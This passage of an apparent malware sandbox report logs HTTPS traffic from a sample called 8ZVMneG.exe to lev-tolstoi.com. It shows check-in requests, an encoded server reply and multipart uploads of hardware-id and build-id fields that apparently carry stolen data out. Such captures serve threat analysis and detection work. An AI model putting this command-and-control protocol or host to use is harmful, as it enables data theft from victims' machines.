2024-12-20 06:04:12 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49730	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:14 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-20 06:04:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:04:15 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mgtccgkpjpkcs0hk7sv4ukjech; expires=Mon, 14 Apr 2025 23:50:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZA9Jn%2Bdea2tFIz3F1bqirqmh08VVhXojEJmgIqopFyA33ixIgZ7kqU2nE1glmqdamEOVQ%2FJjqRkfADn3chVwrZBBhIWmmFROW0DeJ6rBvZabHgBbzVSEeXE4Rr%2FgVzN9Dnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f103aa832c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1811&rtt_var=683&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1596500&cwnd=138&unsent_bytes=0&cid=f0ee5beb679843cc&ts=1207&x=0"
2024-12-20 06:04:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 06:04:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49737	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: lev-tolstoi.com
2024-12-20 06:04:16 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 6e 62 67 6e 78 64 6c 78 64 6e 79 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--nbgnxdlxdnyo&j=
2024-12-20 06:04:17 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o0i6mvr0n6okc1n4eiejmlgfjk; expires=Mon, 14 Apr 2025 23:50:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cmaSi0TMw41Ovb5tOBasT2xYZuH4obbIoWyEWh5CaFE2nvAniulQjcx0yWI8TdNulqS54x47eTKZZJWX%2F9XxtPX6gAtJeT%2BBa7DPvjifIzoxr8PNwZMkjluyHclHR6i0qC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f1fff114308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1600&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=953&delivery_rate=1796923&cwnd=228&unsent_bytes=0&cid=0f9719e623d9fd62&ts=794&x=0"
2024-12-20 06:04:17 UTC	248	IN	Data Raw: 63 34 38 0d 0a 75 37 39 31 43 30 71 73 6e 76 47 4f 38 30 4e 73 62 6f 79 6b 62 35 52 50 35 71 6d 70 67 65 41 67 55 51 74 64 54 54 6f 44 55 46 48 41 6e 51 4d 70 63 4a 69 79 30 2f 32 57 59 56 59 61 2f 74 45 4b 75 47 32 48 7a 59 75 37 68 6b 45 39 65 44 68 68 47 48 55 39 63 34 48 5a 46 47 63 35 79 62 4c 54 36 34 74 68 56 6a 58 33 68 67 72 36 62 64 79 4c 7a 4f 75 43 51 54 31 70 50 43 5a 56 63 7a 77 79 30 39 4d 53 59 79 2f 50 2b 70 44 69 6e 69 59 4a 43 2b 33 4f 41 66 30 69 6a 73 53 4c 72 63 4a 46 4b 79 6c 6e 62 33 64 6d 4a 44 44 32 33 67 5a 67 61 4e 47 79 69 71 79 57 4c 55 35 55 72 73 55 4b 39 69 4f 41 7a 63 4c 70 69 45 67 31 61 44 6b 6e 53 6d 6f 32 4f 64 50 64 45 57 49 6c 78 75 36 64 36 4a 6b 74 44 77 48 74 68 6b 4f 32 4b 70 79 4c 6b 36 50 Data Ascii: c48u791C0qsnvGO80Nsboykb5RP5qmpgeAgUQtdTToDUFHAnQMpcJiy0/2WYVYa/tEKuG2HzYu7hkE9eDhhGHU9c4HZFGc5ybLT64thVjX3hgr6bdyLzOuCQT1pPCZVczwy09MSYy/P+pDiniYJC+3OAf0ijsSLrcJFKylnb3dmJDD23gZgaNGyiqyWLU5UrsUK9iOAzcLpiEg1aDknSmo2OdPdEWIlxu6d6JktDwHthkO2KpyLk6P
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 52 63 44 42 34 4c 6a 70 56 63 54 52 7a 78 70 4d 4f 4b 53 2f 43 76 4d 75 73 6d 53 30 41 43 65 33 4a 43 76 63 74 6c 73 54 4c 34 49 70 4b 4e 32 4d 77 49 46 64 76 4f 44 54 52 31 42 42 6d 4c 38 62 36 6e 4f 2f 52 62 30 34 4c 39 6f 5a 56 74 67 32 55 79 4d 6a 33 6a 31 4e 7a 64 6e 45 32 47 47 59 2b 63 34 47 64 45 57 63 70 77 2f 79 42 35 4a 6f 71 43 78 37 6c 7a 77 44 37 4c 59 6e 42 78 4f 43 43 52 54 6c 6a 4d 43 56 63 62 44 38 31 32 64 31 58 4a 32 6a 4a 35 4e 4f 30 30 51 49 4c 48 4f 6e 4b 47 37 51 58 78 4e 53 46 2b 73 4a 46 50 79 6c 6e 62 31 42 6b 4d 54 44 53 30 68 52 68 49 39 7a 38 67 65 71 63 4a 42 77 4b 36 38 67 48 39 54 2b 4f 78 63 33 67 69 30 6b 36 62 44 67 72 47 43 39 79 4e 4d 47 64 54 79 6b 4a 77 2f 65 66 35 6f 59 68 54 68 4f 67 33 30 33 78 49 63 53 54 69 2b Data Ascii: RcDB4LjpVcTRzxpMOKS/CvMusmS0ACe3JCvctlsTL4IpKN2MwIFdvODTR1BBmL8b6nO/Rb04L9oZVtg2UyMj3j1NzdnE2GGY+c4GdEWcpw/yB5JoqCx7lzwD7LYnBxOCCRTljMCVcbD812d1XJ2jJ5NO00QILHOnKG7QXxNSF+sJFPylnb1BkMTDS0hRhI9z8geqcJBwK68gH9T+Oxc3gi0k6bDgrGC9yNMGdTykJw/ef5oYhThOg303xIcSTi+
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 4a 33 38 6f 51 43 46 71 63 2f 50 65 41 32 6f 69 6a 4d 6d 51 34 70 38 6d 47 45 7a 78 69 42 53 32 4b 6f 69 4c 6b 36 4f 50 51 7a 74 76 4c 53 42 56 59 6a 77 39 31 74 67 59 59 53 6a 4f 38 5a 62 6f 6d 69 6f 4e 41 65 72 55 42 2f 59 6c 67 63 72 42 36 63 49 4d 63 32 34 6e 62 77 41 68 41 79 54 53 6e 79 4a 71 4a 73 44 37 68 61 79 4f 62 78 64 4d 36 63 70 4e 72 6d 32 4a 77 38 37 6d 6a 55 4d 35 5a 7a 6f 6c 56 47 6b 38 4d 4d 76 53 45 32 6b 6b 78 76 61 65 34 70 55 70 42 77 66 6c 77 41 33 33 4a 38 53 46 69 2b 53 61 41 6d 73 70 43 79 68 55 62 44 31 78 37 4e 34 5a 5a 79 2f 59 76 49 79 69 69 47 45 4a 41 4b 36 65 54 66 6f 6b 68 4d 44 42 35 34 4a 46 50 6d 77 38 4b 46 74 73 4e 54 6e 58 32 68 4e 6c 49 63 50 36 6b 2b 75 56 4a 42 77 4a 35 38 6f 42 74 6d 50 45 7a 4e 4f 6a 32 67 49 Data Ascii: J38oQCFqc/PeA2oijMmQ4p8mGEzxiBS2KoiLk6OPQztvLSBVYjw91tgYYSjO8ZbomioNAerUB/YlgcrB6cIMc24nbwAhAyTSnyJqJsD7hayObxdM6cpNrm2Jw87mjUM5ZzolVGk8MMvSE2kkxvae4pUpBwflwA33J8SFi+SaAmspCyhUbD1x7N4ZZy/YvIyiiGEJAK6eTfokhMDB54JFPmw8KFtsNTnX2hNlIcP6k+uVJBwJ58oBtmPEzNOj2gI
2024-12-20 06:04:17 UTC	165	IN	Data Raw: 77 41 68 4f 7a 72 4c 30 78 6c 67 4a 63 6a 30 6c 4f 4b 63 4b 67 67 48 36 63 45 4c 2b 79 57 4a 7a 73 6a 69 68 6b 67 68 61 6a 51 6c 56 57 74 79 66 5a 6e 61 44 79 6c 77 6a 74 75 66 78 59 45 36 48 42 71 75 32 55 50 76 62 59 50 48 69 37 76 43 51 54 78 67 4d 43 64 51 62 6a 30 33 31 39 73 52 5a 43 33 42 39 6f 48 6b 6e 79 77 46 41 2b 58 55 44 66 73 70 69 4d 2f 44 36 49 67 43 66 53 6b 34 4e 78 67 35 63 67 62 55 30 68 64 71 50 6f 37 6a 33 66 58 52 4a 67 4a 4d 74 6f 59 42 2b 43 32 4c 78 38 66 6f 0d 0a Data Ascii: wAhOzrL0xlgJcj0lOKcKggH6cEL+yWJzsjihkghajQlVWtyfZnaDylwjtufxYE6HBqu2UPvbYPHi7vCQTxgMCdQbj0319sRZC3B9oHknywFA+XUDfspiM/D6IgCfSk4Nxg5cgbU0hdqPo7j3fXRJgJMtoYB+C2Lx8fo
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 33 63 64 34 0d 0a 69 6b 4d 2f 5a 7a 67 71 55 57 6b 36 49 64 6a 5a 48 32 67 6d 77 66 32 58 36 5a 51 6c 43 51 6a 6f 79 55 32 34 62 59 50 54 69 37 76 43 62 52 52 63 66 51 35 69 49 53 31 39 77 4a 30 51 5a 57 69 57 76 4a 2f 76 6e 53 6b 42 43 75 66 4b 42 2f 38 6d 69 4d 44 50 37 34 74 48 4e 57 67 36 4b 6c 6c 6c 50 6a 6e 66 33 68 52 6d 4a 38 48 30 30 36 4c 52 4a 68 5a 4d 74 6f 59 6f 34 53 61 4b 7a 59 76 38 7a 46 74 7a 62 6a 4e 76 41 43 45 2b 4f 74 2f 62 45 6d 55 70 79 50 53 57 35 4a 55 67 43 41 72 74 79 51 6e 7a 4c 49 76 50 78 2b 32 49 51 7a 4a 6c 4e 43 42 54 5a 48 4a 39 6d 64 6f 50 4b 58 43 4f 7a 5a 44 36 68 6a 45 43 54 50 47 49 46 4c 59 71 69 49 75 54 6f 34 4e 51 4f 57 4d 78 4b 6c 64 6b 4d 54 7a 65 30 42 46 6c 49 73 66 30 6c 65 4f 59 4d 77 30 41 34 4d 45 44 2b Data Ascii: 3cd4ikM/ZzgqUWk6IdjZH2gmwf2X6ZQlCQjoyU24bYPTi7vCbRRcfQ5iIS19wJ0QZWiWvJ/vnSkBCufKB/8miMDP74tHNWg6KlllPjnf3hRmJ8H006LRJhZMtoYo4SaKzYv8zFtzbjNvACE+Ot/bEmUpyPSW5JUgCArtyQnzLIvPx+2IQzJlNCBTZHJ9mdoPKXCOzZD6hjECTPGIFLYqiIuTo4NQOWMxKldkMTze0BFlIsf0leOYMw0A4MED+
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 45 35 49 56 4c 4f 48 73 31 4b 46 39 71 4f 6a 6a 57 32 77 56 6c 4a 74 7a 35 67 66 37 52 62 30 34 4c 39 6f 5a 56 74 68 75 44 32 39 76 67 77 48 4d 6c 61 69 6b 6b 56 57 31 79 4c 4a 66 45 56 32 34 6b 6a 71 54 54 36 70 34 6f 44 51 50 76 7a 77 48 37 4b 49 33 4f 79 75 57 47 53 44 6c 70 4f 53 6c 5a 5a 44 67 77 32 4e 63 65 62 69 44 4a 2f 34 47 73 33 32 45 4a 46 4b 36 65 54 64 38 71 6c 73 58 62 6f 35 30 4d 4b 69 6b 34 49 78 67 35 63 6a 66 54 30 68 4e 75 4a 4d 6a 35 6c 65 47 51 4c 67 38 4d 34 63 49 47 2f 79 75 46 78 73 37 75 68 6c 41 35 59 6a 41 6a 55 57 30 2f 63 35 65 64 45 48 46 6f 6c 72 79 69 34 5a 38 76 43 52 71 75 32 55 50 76 62 59 50 48 69 37 76 43 51 7a 39 6d 50 43 42 62 59 6a 4d 35 79 38 38 62 59 43 44 4c 38 4a 6a 69 6c 7a 4d 49 41 2b 66 46 44 76 38 71 6a 4d Data Ascii: E5IVLOHs1KF9qOjjW2wVlJtz5gf7Rb04L9oZVthuD29vgwHMlaikkVW1yLJfEV24kjqTT6p4oDQPvzwH7KI3OyuWGSDlpOSlZZDgw2NcebiDJ/4Gs32EJFK6eTd8qlsXbo50MKik4Ixg5cjfT0hNuJMj5leGQLg8M4cIG/yuFxs7uhlA5YjAjUW0/c5edEHFolryi4Z8vCRqu2UPvbYPHi7vCQz9mPCBbYjM5y88bYCDL8JjilzMIA+fFDv8qjM
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 52 53 49 70 5a 7a 6c 49 64 6a 55 73 6c 38 52 58 62 69 53 4f 70 4e 50 71 6d 43 63 4a 43 75 44 55 43 50 41 69 69 38 4c 43 35 34 70 42 4d 32 30 37 4b 46 31 69 50 6a 6a 65 33 68 68 74 49 63 44 31 6e 4b 7a 66 59 51 6b 55 72 70 35 4e 31 7a 61 48 78 38 61 6a 6e 51 77 71 4b 54 67 6a 47 44 6c 79 50 39 66 59 46 32 4d 75 79 76 6d 56 35 70 51 68 42 51 2f 68 77 67 76 79 49 6f 54 41 77 75 4b 45 52 7a 6c 69 4f 53 4a 62 5a 7a 52 7a 6c 35 30 51 63 57 69 57 76 4c 50 33 6e 43 30 4a 54 50 47 49 46 4c 59 71 69 49 75 54 6f 34 6c 4f 4e 32 34 2f 49 6c 74 70 4e 7a 66 54 32 42 64 68 4f 73 62 38 6c 50 36 44 49 51 63 4a 34 73 55 4e 38 69 75 4e 7a 63 6a 6e 77 67 78 7a 62 69 64 76 41 43 45 66 50 39 37 30 45 48 4a 6f 30 62 4b 4b 72 4a 59 74 54 6c 53 75 78 77 62 38 49 6f 6e 49 7a 65 43 Data Ascii: RSIpZzlIdjUsl8RXbiSOpNPqmCcJCuDUCPAii8LC54pBM207KF1iPjje3hhtIcD1nKzfYQkUrp5N1zaHx8ajnQwqKTgjGDlyP9fYF2MuyvmV5pQhBQ/hwgvyIoTAwuKERzliOSJbZzRzl50QcWiWvLP3nC0JTPGIFLYqiIuTo4lON24/IltpNzfT2BdhOsb8lP6DIQcJ4sUN8iuNzcjnwgxzbidvACEfP970EHJo0bKKrJYtTlSuxwb8IonIzeC
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 51 59 32 47 48 64 79 61 34 75 54 56 33 74 6f 6c 72 7a 55 37 34 4d 7a 43 41 2f 34 78 55 72 49 45 36 50 64 77 65 53 53 52 53 52 6d 66 32 45 59 62 6e 4a 72 34 4a 30 65 62 6a 50 66 36 70 37 38 6c 6d 45 78 51 71 37 65 54 61 35 74 73 63 6a 46 37 59 56 55 49 69 51 59 4f 56 4a 6d 49 6a 54 4f 30 6c 63 6e 61 4d 69 38 79 37 2f 66 59 51 6f 64 72 70 35 64 70 48 62 52 6d 4a 79 7a 30 46 31 39 63 48 38 35 47 44 6c 67 66 5a 6e 50 56 7a 46 6f 69 66 2b 42 2f 70 63 69 47 41 2b 70 2b 44 50 52 4e 34 6e 4e 33 50 4b 38 66 44 52 7a 4d 69 6c 50 63 48 34 6d 32 74 4d 5a 62 6a 36 4f 73 74 50 6a 30 58 6b 33 54 4b 61 47 4d 72 68 74 6e 49 75 54 6f 37 64 42 50 57 63 34 4f 55 6b 73 46 53 6e 55 32 77 42 34 61 49 43 38 6c 61 7a 4a 63 55 42 4d 36 74 64 4e 72 6e 33 57 6b 4a 36 77 31 52 4a 68 Data Ascii: QY2GHdya4uTV3tolrzU74MzCA/4xUrIE6PdweSSRSRmf2EYbnJr4J0ebjPf6p78lmExQq7eTa5tscjF7YVUIiQYOVJmIjTO0lcnaMi8y7/fYQodrp5dpHbRmJyz0F19cH85GDlgfZnPVzFoif+B/pciGA+p+DPRN4nN3PK8fDRzMilPcH4m2tMZbj6OstPj0Xk3TKaGMrhtnIuTo7dBPWc4OUksFSnU2wB4aIC8lazJcUBM6tdNrn3WkJ6w1RJh
2024-12-20 06:04:17 UTC	1369	IN	Data Raw: 5a 30 4d 54 33 58 32 67 46 34 61 49 43 38 6e 4b 7a 4a 47 45 35 45 72 76 6c 44 74 6a 58 45 6b 34 76 57 67 55 77 39 62 69 6b 2b 46 55 59 38 4e 4e 6a 4c 42 33 34 6e 6a 72 4c 54 36 74 46 35 58 45 4b 75 77 68 79 32 64 64 53 5a 6b 4c 62 52 46 57 4d 37 49 47 46 42 49 53 52 7a 67 59 39 5a 4b 54 71 4f 70 4e 4f 72 6b 6a 4d 63 43 75 33 51 44 72 45 54 75 75 7a 46 35 49 4e 55 49 33 34 77 59 48 5a 58 45 77 33 6e 79 42 52 6e 4a 73 6e 71 67 71 7a 66 59 51 46 4d 74 76 39 4e 76 6d 32 37 68 59 76 37 77 68 70 7a 58 44 77 68 56 6d 59 6b 49 70 54 36 47 57 34 70 32 4f 79 45 34 39 34 50 4f 43 32 75 69 45 33 77 62 64 79 5a 68 61 4f 47 55 33 4d 78 62 33 30 44 4e 47 46 6b 69 59 38 49 4a 7a 47 4f 36 74 4f 30 77 32 39 4f 48 71 36 65 54 62 45 75 6c 74 6e 4e 34 4a 52 42 64 46 63 42 43 Data Ascii: Z0MT3X2gF4aIC8nKzJGE5ErvlDtjXEk4vWgUw9bik+FUY8NNjLB34njrLT6tF5XEKuwhy2ddSZkLbRFWM7IGFBISRzgY9ZKTqOpNOrkjMcCu3QDrETuuzF5INUI34wYHZXEw3nyBRnJsnqgqzfYQFMtv9Nvm27hYv7whpzXDwhVmYkIpT6GW4p2OyE494POC2uiE3wbdyZhaOGU3Mxb30DNGFkiY8IJzGO6tO0w29OHq6eTbEultnN4JRBdFcBC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49748	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:20 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C5PLJO8RR7LUD8CMHBI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12872 Host: lev-tolstoi.com
2024-12-20 06:04:20 UTC	12872	OUT	Data Raw: 2d 2d 43 35 50 4c 4a 4f 38 52 52 37 4c 55 44 38 43 4d 48 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 43 35 50 4c 4a 4f 38 52 52 37 4c 55 44 38 43 4d 48 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 35 50 4c 4a 4f 38 52 52 37 4c 55 44 38 43 4d 48 42 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 6e 62 Data Ascii: --C5PLJO8RR7LUD8CMHBIContent-Disposition: form-data; name="hwid"DE39FCFBD83CCE4A00D57F9DDD37BE0C--C5PLJO8RR7LUD8CMHBIContent-Disposition: form-data; name="pid"2--C5PLJO8RR7LUD8CMHBIContent-Disposition: form-data; name="lid"LPnhqo--nb
2024-12-20 06:04:21 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=891dkufa0vvc5utqgggqlvdqgg; expires=Mon, 14 Apr 2025 23:50:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=awDKqHLI4AF0WHFJZMrYNW%2FcSmdLEDTv2PN0kiWDkC5UvfAjlnDWUwYPNMLlOj7DBJ1W6ACFNpiqAK7UAfpUp%2FXoFKz4KBYLgaqvyOwZQJ7%2B%2Fc1iqUjPnEiBaxgSBN1%2Bbx4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f33aef732e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1829&min_rtt=1824&rtt_var=694&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13812&delivery_rate=1564844&cwnd=246&unsent_bytes=0&cid=244679ab460a4570&ts=838&x=0"
2024-12-20 06:04:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:04:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49754	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:22 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UB6YY78GPNR7GMOC0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15106 Host: lev-tolstoi.com
2024-12-20 06:04:22 UTC	15106	OUT	Data Raw: 2d 2d 55 42 36 59 59 37 38 47 50 4e 52 37 47 4d 4f 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 39 46 43 46 42 44 38 33 43 43 45 34 41 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 55 42 36 59 59 37 38 47 50 4e 52 37 47 4d 4f 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 42 36 59 59 37 38 47 50 4e 52 37 47 4d 4f 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 6e 62 67 6e 78 64 6c 78 Data Ascii: --UB6YY78GPNR7GMOC0Content-Disposition: form-data; name="hwid"DE39FCFBD83CCE4A00D57F9DDD37BE0C--UB6YY78GPNR7GMOC0Content-Disposition: form-data; name="pid"2--UB6YY78GPNR7GMOC0Content-Disposition: form-data; name="lid"LPnhqo--nbgnxdlx
2024-12-20 06:04:23 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t5ocvu3tsdco4ui943q0i1l4jg; expires=Mon, 14 Apr 2025 23:51:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MupKHKlg%2FR6eGrwT1w65qapVZrlv%2BEmWgQ8mOamvVvripubck6GpfEilCG5zDNLMrQpGSB49vecoNGiNCD31vGAV%2FTW%2BWp5adgoAlJzH32zXHgE8f8Mxn20wrZgjPN3M7hU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d6f411f18429b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2028&min_rtt=2020&rtt_var=774&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2834&recv_bytes=16044&delivery_rate=1399137&cwnd=237&unsent_bytes=0&cid=e472886c2374796c&ts=816&x=0"
2024-12-20 06:04:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:04:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49760	104.21.66.86	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:24 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ICQ9J4SUMK0W7VEBGUY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19976 Host: lev-tolstoi.com
